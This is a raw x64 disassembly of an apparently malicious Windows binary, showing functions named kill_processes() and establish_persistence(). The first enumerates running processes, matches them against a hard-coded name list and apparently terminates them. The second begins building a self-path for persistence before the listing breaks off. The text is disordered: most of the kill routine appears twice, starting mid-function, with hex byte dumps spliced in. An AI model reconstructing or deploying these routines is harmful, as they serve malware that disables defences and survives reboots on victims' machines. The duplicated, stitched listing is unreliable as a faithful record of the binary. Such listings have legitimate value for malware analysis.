140008751lea rax, [rip+0xff8ab]
140008758mov [rbp+216], rax
14000875flea rax, [rip+0xff8aa]
140008766mov [rbp+224], rax
14000876dlea rax, [rip+0xff8a7]
140008774mov [rbp+232], rax
14000877blea rax, [rip+0xff8a9]
140008782mov [rbp+240], rax
140008789lea rax, [rip+0xff8ae]
140008790mov [rbp+248], rax
140008797lea rax, [rip+0xff8ad]
14000879emov [rbp+256], rax
1400087a5lea rax, [rip+0xff8ad]
1400087acmov [rbp+264], rax
1400087b3lea rax, [rip+0xff8ac]
1400087bamov [rbp+272], rax
1400087c1lea rax, [rip+0xff8a9]
1400087c8mov [rbp+280], rax
1400087cflea rax, [rip+0xff8a8]
1400087d6mov [rbp+288], rax
1400087ddlea rax, [rip+0xff8a6]
1400087e4mov [rbp+296], rax
1400087eblea rax, [rip+0xff8a4]
1400087f2mov [rbp+304], rax
1400087f9lea rax, [rip+0xff8a0]
140008800mov [rbp+312], rax
140008807lea rax, [rip+0xff89f]
14000880emov [rbp+320], rax
140008815lea rax, [rip+0xff89d]
14000881cmov [rbp+328], rax
140008823lea rax, [rip+0xff89b]
14000882amov [rbp+336], rax
140008831lea rax, [rip+0xff899]
140008838mov [rbp+344], rax
14000883flea rax, [rip+0xff89a]
140008846mov [rbp+352], rax
14000884dlea rax, [rip+0xff894]
140008854mov [rbp+360], rax
14000885blea rax, [rip+0xff891]
140008862mov [rbp+368], rax
140008869lea rax, [rip+0xff88f]
140008870mov [rbp+376], rax
140008877mov [rbp+384], 0
140008882mov edx, 0
140008887mov ecx, 2
14000888ccall CreateToolhelp32Snapshot
140008891mov [rbp+912], rax
140008898cmp [rbp+912], -1
1400088a0jne 0x14000895e
1400088a6lea rax, [rbp+543]
1400088admov [rbp+880], rax
1400088b4nop
1400088b5nop
1400088b6lea rcx, [rbp+543]
1400088bdlea rdx, [rip+0xfe93f]
1400088c4lea rax, [rbp+496]
1400088cbmov r8, rcx
1400088cemov rcx, rax
1400088d1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400088d6lea rax, [rbp+591]
1400088ddmov [rbp+872], rax
1400088e4nop
1400088e5nop
1400088e6lea rcx, [rbp+591]
1400088edlea rdx, [rip+0xff81c]
1400088f4lea rax, [rbp+544]
1400088fbmov r8, rcx
1400088femov rcx, rax
140008901call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008906lea rdx, [rbp+496]
14000890dlea rax, [rbp+544]
140008914mov rcx, rax
140008917call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000891clea rax, [rbp+544]
140008923mov rcx, rax
140008926call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000892blea rax, [rbp+591]
140008932mov rcx, rax
140008935call std::__new_allocator<char>::~__new_allocator()
14000893anop
14000893blea rax, [rbp+496]
140008942mov rcx, rax
140008945call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000894alea rax, [rbp+543]
140008951mov rcx, rax
140008954call std::__new_allocator<char>::~__new_allocator()
140008959jmp 0x140008dd0
14000895e
14000895eloc_14000895e:
14000895emov [rbp-96], 304
140008965lea rdx, [rbp-96]
140008969mov rax, [rbp+912]
140008970mov rcx, rax
140008973call Process32First
140008978test eax, eax
14000897asetne al
14000897dtest al, al
14000897fje 0x140008c37
140008985
140008985loc_140008985:
140008985mov [rbp+924], 0
14000898fjmp 0x140008bfe
140008994
140008994loc_140008994:
140008994mov eax, [rbp+924]
14000899acdqe
14000899cmov rax, [rbp+8*rax+208]
1400089a4lea rdx, [rbp-96]
1400089a8lea rcx, [rdx+44]
1400089acmov rdx, rax
1400089afmov rax, [rip+0x1c14ba]
1400089b6call rax
1400089b8test eax, eax
1400089basete al
1400089bdtest al, al
1400089bfje 0x140008bf7
1400089c5mov eax, [rbp-88]
1400089c8mov r8l, eax
1400089cbmov edx, 0
1400089d0mov ecx, 1
1400089d5mov rax, [rip+0x1c130c]
1400089dccall rax
1400089demov [rbp+904], rax
1400089e5cmp [rbp+904], 0
1400089edje 0x140008bf7
1400089f3mov rax, [rbp+904]
1400089famov edx, 1
1400089ffmov rcx, rax
140008a02mov rax, [rip+0x1c1357]
140008a09call rax
140008a0btest eax, eax
140008a0dsetne al
140008a10test al, al
140008a12je 0x140008b00
140008a18lea rax, [rbp+639]
140008a1fmov [rbp+864], rax
140008a26nop
140008a27nop
140008a28lea rcx, [rbp+639]
140008a2flea rdx, [rip+0xfe7b3]
140008a36lea rax, [rbp+592]
140008a3dmov r8, rcx
140008a40mov rcx, rax
140008a43call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008a48lea rax, [rbp+719]
140008a4fmov [rbp+856], rax
140008a56nop
140008a57nop
140008a58lea rcx, [rbp+719]
140008a5flea rax, [rbp-96]
140008a63lea rdx, [rax+44]
140008a67lea rax, [rbp+672]
140008a6emov r8, rcx
140008a71mov rcx, rax
140008a74call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008a79lea rax, [rbp+640]
140008a80lea rcx, [rbp+672]
140008a87lea rdx, [rip+0xff6bb]
140008a8emov r8, rcx
140008a91mov rcx, rax
140008a94call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140008a99lea rdx, [rbp+592]
140008aa0lea rax, [rbp+640]
140008aa7mov rcx, rax
140008aaacall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140008aaflea rax, [rbp+640]
140008ab6mov rcx, rax
140008ab9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008abelea rax, [rbp+672]
140008ac5mov rcx, rax
140008ac8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008acdlea rax, [rbp+719]
140008ad4mov rcx, rax
140008ad7call std::__new_allocator<char>::~__new_allocator()
140008adcnop
140008addlea rax, [rbp+592]
140008ae4mov rcx, rax
140008ae7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008aeclea rax, [rbp+639]
140008af3mov rcx, rax
140008af6call std::__new_allocator<char>::~__new_allocator()
140008afbjmp 0x140008be4
140008b00
140008b00loc_140008b00:
140008b00lea rax, [rbp+767]
140008b07mov [rbp+848], rax
140008b0enop
140008b0fnop
140008b10lea rcx, [rbp+767]
140008b17lea rdx, [rip+0xfedb0]
140008b1elea rax, [rbp+720]
140008b25mov r8, rcx
140008b28mov rcx, rax
140008b2bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008b30lea rax, [rbp+839]
140008b37mov [rbp+840], rax
140008b3enop
140008b3fnop
140008b40lea rcx, [rbp+839]
140008b47lea rax, [rbp-96]
140008b4blea rdx, [rax+44]
140008b4flea rax, [rbp+800]
140008b56mov r8, rcx
140008b59mov rcx, rax
140008b5ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008b61lea rax, [rbp+768]
140008b68lea rcx, [rbp+800]
140008b6flea rdx, [rip+0xff5e4]
140008b76mov r8, rcx
140008b79mov rcx, rax
140008b7ccall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140008b81lea rdx, [rbp+720]
140008b88lea rax, [rbp+768]
140008b8fmov rcx, rax
140008b92call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140008b97lea rax, [rbp+768]
140008b9emov rcx, rax
140008ba1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008ba6lea rax, [rbp+800]
140008badmov rcx, rax
140008bb0call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008bb5lea rax, [rbp+839]
140008bbcmov rcx, rax
140008bbfcall std::__new_allocator<char>::~__new_allocator()
140008bc4nop
140008bc5lea rax, [rbp+720]
140008bccmov rcx, rax
140008bcfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008bd4lea rax, [rbp+767]
140008bdbmov rcx, rax
140008bdecall std::__new_allocator<char>::~__new_allocator()
140008be3nop
140008be4
140008be4loc_140008be4:
140008be4mov rax, [rbp+904]
140008bebmov rcx, rax
140008beemov rax, [rip+0x1c0fab]
140008bf5call rax
140008bf7
140008bf7loc_140008bf7:
140008bf7add [rbp+924], 1
140008bfe
140008bfeloc_140008bfe:
140008bfemov eax, [rbp+924]
140008c04cdqe
140008c06mov rax, [rbp+8*rax+208]
140008c0etest rax, rax
140008c11jne 0x140008994
140008c17lea rdx, [rbp-96]
140008c1bmov rax, [rbp+912]
140008c22mov rcx, rax
140008c25call Process32Next
140008c2atest eax, eax
140008c2csetne al
140008c2ftest al, al
140008c31jne 0x140008985
140008c37
140008c37loc_140008c37:
140008c37mov rax, [rbp+912]
140008c3emov rcx, rax
140008c41mov rax, [rip+0x1c0f58]
140008c48call rax
140008c4ajmp 0x140008dd0
140008c4f
140008c4f 48 H
140008c50 89 c3 48 8d 85 c0 01 00 00 48 89 c1 e8 6f 88 0d ..H......H...o..
140008c60 00 eb 03 48 89 c3 48 8d 85 ef 01 00 00 48 89 c1 ...H..H......H..
140008c70 e8 5b 51 0c 00 90 48 8d 85 90 01 00 00 48 89 c1 .[Q...H......H..
140008c80 e8 4b 88 0d 00 eb 03 48 89 c3 48 8d 85 bf 01 00 .K.....H..H.....
140008c90 00 48 89 c1 e8 37 51 0c 00 90 48 89 d8 48 89 c1 .H...7Q...H..H..
140008ca0 e8 fb 26 01 00 48 89 c3 48 8d 85 20 02 00 00 48 ..&..H..H.. ...H
140008cb0 89 c1 e8 19 88 0d 00 eb 03 48 89 c3 48 8d 85 4f .........H..H..O
140008cc0 02 00 00 48 89 c1 e8 05 51 0c 00 90 48 8d 85 f0 ...H....Q...H...
140008cd0 01 00 00 48 89 c1 e8 f5 87 0d 00 eb 03 48 89 c3 ...H.........H..
140008ce0 48 8d 85 1f 02 00 00 48 89 c1 e8 e1 50 0c 00 90 H......H....P...
140008cf0 48 89 d8 48 89 c1 e8 a5 26 01 00 48 89 c3 48 8d H..H....&..H..H.
140008d00 85 80 02 00 00 48 89 c1 e8 c3 87 0d 00 eb 03 48 .....H.........H
140008d10 89 c3 48 8d 85 a0 02 00 00 48 89 c1 e8 af 87 0d ..H......H......
140008d20 00 eb 03 48 89 c3 48 8d 85 cf 02 00 00 48 89 c1 ...H..H......H..
140008d30 e8 9b 50 0c 00 90 48 8d 85 50 02 00 00 48 89 c1 ..P...H..P...H..
140008d40 e8 8b 87 0d 00 eb 03 48 89 c3 48 8d 85 7f 02 00 .......H..H.....
140008d50 00 48 89 c1 e8 77 50 0c 00 90 48 89 d8 48 89 c1 .H...wP...H..H..
140008d60 e8 3b 26 01 00 48 89 c3 48 8d 85 00 03 00 00 48 .;&..H..H......H
140008d70 89 c1 e8 59 87 0d 00 eb 03 48 89 c3 48 8d 85 20 ...Y.....H..H..
140008d80 03 00 00 48 89 c1 e8 45 87 0d 00 eb 03 48 89 c3 ...H...E.....H..
140008d90 48 8d 85 47 03 00 00 48 89 c1 e8 31 50 0c 00 90 H..G...H...1P...
140008da0 48 8d 85 d0 02 00 00 48 89 c1 e8 21 87 0d 00 eb H......H...!....
140008db0 03 48 89 c3 48 8d 85 ff 02 00 00 48 89 c1 e8 0d .H..H......H....
140008dc0 50 0c 00 90 48 89 d8 48 89 c1 e8 d1 25 01 00 90 P...H..H....%...
140008dd0
140008dd0loc_140008dd0:
140008dd0add rsp, 1064
140008dd7pop rbx
140008dd8pop rbp
140008dd9ret
14000867e
14000867ekill_processes():
14000867epush rbp
14000867fpush rbx
140008680sub rsp, 1064
140008687lea rbp, [rsp+128]
14000868flea rax, [rbp+447]
140008696mov [rbp+896], rax
14000869dnop
14000869enop
14000869flea rcx, [rbp+447]
1400086a6lea rdx, [rip+0xfeb3c]
1400086adlea rax, [rbp+400]
1400086b4mov r8, rcx
1400086b7mov rcx, rax
1400086bacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400086bflea rax, [rbp+495]
1400086c6mov [rbp+888], rax
1400086cdnop
1400086cenop
1400086cflea rcx, [rbp+495]
1400086d6lea rdx, [rip+0xff8db]
1400086ddlea rax, [rbp+448]
1400086e4mov r8, rcx
1400086e7mov rcx, rax
1400086eacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400086eflea rdx, [rbp+400]
1400086f6lea rax, [rbp+448]
1400086fdmov rcx, rax
140008700call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140008705lea rax, [rbp+448]
14000870cmov rcx, rax
14000870fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008714lea rax, [rbp+495]
14000871bmov rcx, rax
14000871ecall std::__new_allocator<char>::~__new_allocator()
140008723nop
140008724lea rax, [rbp+400]
14000872bmov rcx, rax
14000872ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008733lea rax, [rbp+447]
14000873amov rcx, rax
14000873dcall std::__new_allocator<char>::~__new_allocator()
140008742nop
140008743lea rax, [rip+0xff8ad]
14000874amov [rbp+208], rax
140008751lea rax, [rip+0xff8ab]
140008758mov [rbp+216], rax
14000875flea rax, [rip+0xff8aa]
140008766mov [rbp+224], rax
14000876dlea rax, [rip+0xff8a7]
140008774mov [rbp+232], rax
14000877blea rax, [rip+0xff8a9]
140008782mov [rbp+240], rax
140008789lea rax, [rip+0xff8ae]
140008790mov [rbp+248], rax
140008797lea rax, [rip+0xff8ad]
14000879emov [rbp+256], rax
1400087a5lea rax, [rip+0xff8ad]
1400087acmov [rbp+264], rax
1400087b3lea rax, [rip+0xff8ac]
1400087bamov [rbp+272], rax
1400087c1lea rax, [rip+0xff8a9]
1400087c8mov [rbp+280], rax
1400087cflea rax, [rip+0xff8a8]
1400087d6mov [rbp+288], rax
1400087ddlea rax, [rip+0xff8a6]
1400087e4mov [rbp+296], rax
1400087eblea rax, [rip+0xff8a4]
1400087f2mov [rbp+304], rax
1400087f9lea rax, [rip+0xff8a0]
140008800mov [rbp+312], rax
140008807lea rax, [rip+0xff89f]
14000880emov [rbp+320], rax
140008815lea rax, [rip+0xff89d]
14000881cmov [rbp+328], rax
140008823lea rax, [rip+0xff89b]
14000882amov [rbp+336], rax
140008831lea rax, [rip+0xff899]
140008838mov [rbp+344], rax
14000883flea rax, [rip+0xff89a]
140008846mov [rbp+352], rax
14000884dlea rax, [rip+0xff894]
140008854mov [rbp+360], rax
14000885blea rax, [rip+0xff891]
140008862mov [rbp+368], rax
140008869lea rax, [rip+0xff88f]
140008870mov [rbp+376], rax
140008877mov [rbp+384], 0
140008882mov edx, 0
140008887mov ecx, 2
14000888ccall CreateToolhelp32Snapshot
140008891mov [rbp+912], rax
140008898cmp [rbp+912], -1
1400088a0jne 0x14000895e
1400088a6lea rax, [rbp+543]
1400088admov [rbp+880], rax
1400088b4nop
1400088b5nop
1400088b6lea rcx, [rbp+543]
1400088bdlea rdx, [rip+0xfe93f]
1400088c4lea rax, [rbp+496]
1400088cbmov r8, rcx
1400088cemov rcx, rax
1400088d1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400088d6lea rax, [rbp+591]
1400088ddmov [rbp+872], rax
1400088e4nop
1400088e5nop
1400088e6lea rcx, [rbp+591]
1400088edlea rdx, [rip+0xff81c]
1400088f4lea rax, [rbp+544]
1400088fbmov r8, rcx
1400088femov rcx, rax
140008901call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008906lea rdx, [rbp+496]
14000890dlea rax, [rbp+544]
140008914mov rcx, rax
140008917call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000891clea rax, [rbp+544]
140008923mov rcx, rax
140008926call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000892blea rax, [rbp+591]
140008932mov rcx, rax
140008935call std::__new_allocator<char>::~__new_allocator()
14000893anop
14000893blea rax, [rbp+496]
140008942mov rcx, rax
140008945call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000894alea rax, [rbp+543]
140008951mov rcx, rax
140008954call std::__new_allocator<char>::~__new_allocator()
140008959jmp 0x140008dd0
14000895e
14000895eloc_14000895e:
14000895emov [rbp-96], 304
140008965lea rdx, [rbp-96]
140008969mov rax, [rbp+912]
140008970mov rcx, rax
140008973call Process32First
140008978test eax, eax
14000897asetne al
14000897dtest al, al
14000897fje 0x140008c37
140008985
140008985loc_140008985:
140008985mov [rbp+924], 0
14000898fjmp 0x140008bfe
140008994
140008994loc_140008994:
140008994mov eax, [rbp+924]
14000899acdqe
14000899cmov rax, [rbp+8*rax+208]
1400089a4lea rdx, [rbp-96]
1400089a8lea rcx, [rdx+44]
1400089acmov rdx, rax
1400089afmov rax, [rip+0x1c14ba]
1400089b6call rax
1400089b8test eax, eax
1400089basete al
1400089bdtest al, al
1400089bfje 0x140008bf7
1400089c5mov eax, [rbp-88]
1400089c8mov r8l, eax
1400089cbmov edx, 0
1400089d0mov ecx, 1
1400089d5mov rax, [rip+0x1c130c]
1400089dccall rax
1400089demov [rbp+904], rax
1400089e5cmp [rbp+904], 0
1400089edje 0x140008bf7
1400089f3mov rax, [rbp+904]
1400089famov edx, 1
1400089ffmov rcx, rax
140008a02mov rax, [rip+0x1c1357]
140008a09call rax
140008a0btest eax, eax
140008a0dsetne al
140008a10test al, al
140008a12je 0x140008b00
140008a18lea rax, [rbp+639]
140008a1fmov [rbp+864], rax
140008a26nop
140008a27nop
140008a28lea rcx, [rbp+639]
140008a2flea rdx, [rip+0xfe7b3]
140008a36lea rax, [rbp+592]
140008a3dmov r8, rcx
140008a40mov rcx, rax
140008a43call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008a48lea rax, [rbp+719]
140008a4fmov [rbp+856], rax
140008a56nop
140008a57nop
140008a58lea rcx, [rbp+719]
140008a5flea rax, [rbp-96]
140008a63lea rdx, [rax+44]
140008a67lea rax, [rbp+672]
140008a6emov r8, rcx
140008a71mov rcx, rax
140008a74call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008a79lea rax, [rbp+640]
140008a80lea rcx, [rbp+672]
140008a87lea rdx, [rip+0xff6bb]
140008a8emov r8, rcx
140008a91mov rcx, rax
140008a94call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140008a99lea rdx, [rbp+592]
140008aa0lea rax, [rbp+640]
140008aa7mov rcx, rax
140008aaacall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140008aaflea rax, [rbp+640]
140008ab6mov rcx, rax
140008ab9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008abelea rax, [rbp+672]
140008ac5mov rcx, rax
140008ac8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008acdlea rax, [rbp+719]
140008ad4mov rcx, rax
140008ad7call std::__new_allocator<char>::~__new_allocator()
140008adcnop
140008addlea rax, [rbp+592]
140008ae4mov rcx, rax
140008ae7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008aeclea rax, [rbp+639]
140008af3mov rcx, rax
140008af6call std::__new_allocator<char>::~__new_allocator()
140008afbjmp 0x140008be4
140008b00
140008b00loc_140008b00:
140008b00lea rax, [rbp+767]
140008b07mov [rbp+848], rax
140008b0enop
140008b0fnop
140008b10lea rcx, [rbp+767]
140008b17lea rdx, [rip+0xfedb0]
140008b1elea rax, [rbp+720]
140008b25mov r8, rcx
140008b28mov rcx, rax
140008b2bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008b30lea rax, [rbp+839]
140008b37mov [rbp+840], rax
140008b3enop
140008b3fnop
140008b40lea rcx, [rbp+839]
140008b47lea rax, [rbp-96]
140008b4blea rdx, [rax+44]
140008b4flea rax, [rbp+800]
140008b56mov r8, rcx
140008b59mov rcx, rax
140008b5ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008b61lea rax, [rbp+768]
140008b68lea rcx, [rbp+800]
140008b6flea rdx, [rip+0xff5e4]
140008b76mov r8, rcx
140008b79mov rcx, rax
140008b7ccall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140008b81lea rdx, [rbp+720]
140008b88lea rax, [rbp+768]
140008b8fmov rcx, rax
140008b92call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140008b97lea rax, [rbp+768]
140008b9emov rcx, rax
140008ba1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008ba6lea rax, [rbp+800]
140008badmov rcx, rax
140008bb0call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008bb5lea rax, [rbp+839]
140008bbcmov rcx, rax
140008bbfcall std::__new_allocator<char>::~__new_allocator()
140008bc4nop
140008bc5lea rax, [rbp+720]
140008bccmov rcx, rax
140008bcfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008bd4lea rax, [rbp+767]
140008bdbmov rcx, rax
140008bdecall std::__new_allocator<char>::~__new_allocator()
140008be3nop
140008be4
140008be4loc_140008be4:
140008be4mov rax, [rbp+904]
140008bebmov rcx, rax
140008beemov rax, [rip+0x1c0fab]
140008bf5call rax
140008bf7
140008bf7loc_140008bf7:
140008bf7add [rbp+924], 1
140008bfe
140008bfeloc_140008bfe:
140008bfemov eax, [rbp+924]
140008c04cdqe
140008c06mov rax, [rbp+8*rax+208]
140008c0etest rax, rax
140008c11jne 0x140008994
140008c17lea rdx, [rbp-96]
140008c1bmov rax, [rbp+912]
140008c22mov rcx, rax
140008c25call Process32Next
140008c2atest eax, eax
140008c2csetne al
140008c2ftest al, al
140008c31jne 0x140008985
140008c37
140008c37loc_140008c37:
140008c37mov rax, [rbp+912]
140008c3emov rcx, rax
140008c41mov rax, [rip+0x1c0f58]
140008c48call rax
140008c4ajmp 0x140008dd0
140008c4f
140008c4f 48 H
140008c50 89 c3 48 8d 85 c0 01 00 00 48 89 c1 e8 6f 88 0d ..H......H...o..
140008c60 00 eb 03 48 89 c3 48 8d 85 ef 01 00 00 48 89 c1 ...H..H......H..
140008c70 e8 5b 51 0c 00 90 48 8d 85 90 01 00 00 48 89 c1 .[Q...H......H..
140008c80 e8 4b 88 0d 00 eb 03 48 89 c3 48 8d 85 bf 01 00 .K.....H..H.....
140008c90 00 48 89 c1 e8 37 51 0c 00 90 48 89 d8 48 89 c1 .H...7Q...H..H..
140008ca0 e8 fb 26 01 00 48 89 c3 48 8d 85 20 02 00 00 48 ..&..H..H.. ...H
140008cb0 89 c1 e8 19 88 0d 00 eb 03 48 89 c3 48 8d 85 4f .........H..H..O
140008cc0 02 00 00 48 89 c1 e8 05 51 0c 00 90 48 8d 85 f0 ...H....Q...H...
140008cd0 01 00 00 48 89 c1 e8 f5 87 0d 00 eb 03 48 89 c3 ...H.........H..
140008ce0 48 8d 85 1f 02 00 00 48 89 c1 e8 e1 50 0c 00 90 H......H....P...
140008cf0 48 89 d8 48 89 c1 e8 a5 26 01 00 48 89 c3 48 8d H..H....&..H..H.
140008d00 85 80 02 00 00 48 89 c1 e8 c3 87 0d 00 eb 03 48 .....H.........H
140008d10 89 c3 48 8d 85 a0 02 00 00 48 89 c1 e8 af 87 0d ..H......H......
140008d20 00 eb 03 48 89 c3 48 8d 85 cf 02 00 00 48 89 c1 ...H..H......H..
140008d30 e8 9b 50 0c 00 90 48 8d 85 50 02 00 00 48 89 c1 ..P...H..P...H..
140008d40 e8 8b 87 0d 00 eb 03 48 89 c3 48 8d 85 7f 02 00 .......H..H.....
140008d50 00 48 89 c1 e8 77 50 0c 00 90 48 89 d8 48 89 c1 .H...wP...H..H..
140008d60 e8 3b 26 01 00 48 89 c3 48 8d 85 00 03 00 00 48 .;&..H..H......H
140008d70 89 c1 e8 59 87 0d 00 eb 03 48 89 c3 48 8d 85 20 ...Y.....H..H..
140008d80 03 00 00 48 89 c1 e8 45 87 0d 00 eb 03 48 89 c3 ...H...E.....H..
140008d90 48 8d 85 47 03 00 00 48 89 c1 e8 31 50 0c 00 90 H..G...H...1P...
140008da0 48 8d 85 d0 02 00 00 48 89 c1 e8 21 87 0d 00 eb H......H...!....
140008db0 03 48 89 c3 48 8d 85 ff 02 00 00 48 89 c1 e8 0d .H..H......H....
140008dc0 50 0c 00 90 48 89 d8 48 89 c1 e8 d1 25 01 00 90 P...H..H....%...
140008dd0
140008dd0loc_140008dd0:
140008dd0add rsp, 1064
140008dd7pop rbx
140008dd8pop rbp
140008dd9ret
14000867e
140008dda
140008ddaestablish_persistence():
140008ddapush rbp
140008ddbpush rbx
140008ddcsub rsp, 760
140008de3lea rbp, [rsp+128]
140008deblea rax, [rbp+287]
140008df2mov [rbp+616], rax
140008df9nop
140008dfanop
140008dfblea rcx, [rbp+287]
140008e02lea rdx, [rip+0xfe3e0]
140008e09lea rax, [rbp+240]
140008e10mov r8, rcx
140008e13mov rcx, rax
140008e16call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008e1blea rax, [rbp+334]
140008e22mov [rbp+608], rax
140008e29nop
140008e2anop
140008e2blea rcx, [rbp+334]
140008e32lea rdx, [rip+0xff33f]
140008e39lea rax, [rbp+288]
140008e40mov r8, rcx
140008e43mov rcx, rax
140008e46call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008e4blea rdx, [rbp+240]
140008e52lea rax, [rbp+288]
140008e59mov rcx, rax
140008e5ccall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140008e61lea rax, [rbp+288]
140008e68mov rcx, rax
140008e6bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008e70lea rax, [rbp+334]
140008e77mov rcx, rax
140008e7acall std::__new_allocator<char>::~__new_allocator()
140008e7fnop
140008e80lea rax, [rbp+240]
140008e87mov rcx, rax
140008e8acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008e8flea rax, [rbp+287]
140008e96mov rcx, rax
140008e99call std::__new_allocator<char>::~__new_allocator()
140008e9enop
140008e9flea rax, [rbp-32]
140008ea3mov r8l, 260
140008ea9mov rdx, rax
140008eacmov ecx, 0
140008eb1mov rax, [rip+0x1c0da0]
140008eb8call rax
140008ebalea rax, [rbp+335]
140008ec1mov [rbp+600], rax
140008ec8nop
140008ec9nop
140008ecalea rcx, [rbp+335]
140008ed1lea rdx, [rip+0xff2d8]
140008ed8lea rax, [rbp-64]
140008edcmov r8, rcx
140008edfmov rcx, rax
140008ee2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008ee7lea rax, [rbp+335]
140008eeemov rcx, rax
140008ef1call std::__new_allocator<char>::~__new_allocator()
140008ef6nop
140008ef7lea rax, [rbp+415]
140008efemov [rbp+592], rax
140008f05nop
140008f06nop
140008f07lea rcx, [rbp+415]
140008f0elea rdx, [rbp-32]
140008f12lea rax, [rbp+368]
140008f19mov r8, rcx
140008f1cmov rcx, rax
140008f1fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008f24lea rax, [rbp+448]
140008f2blea rcx, [rbp-64]
140008f2flea rdx, [rip+0xff2aa]
140008f36mov r8, rcx
140008f39mov rcx, rax
140008f3ccall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140008f41lea rax, [rbp+416]
140008f48lea rcx, [rip+0xff2a8]
140008f4flea rdx, [rbp+448]
140008f56mov r8, rcx
140008f59mov rcx, rax
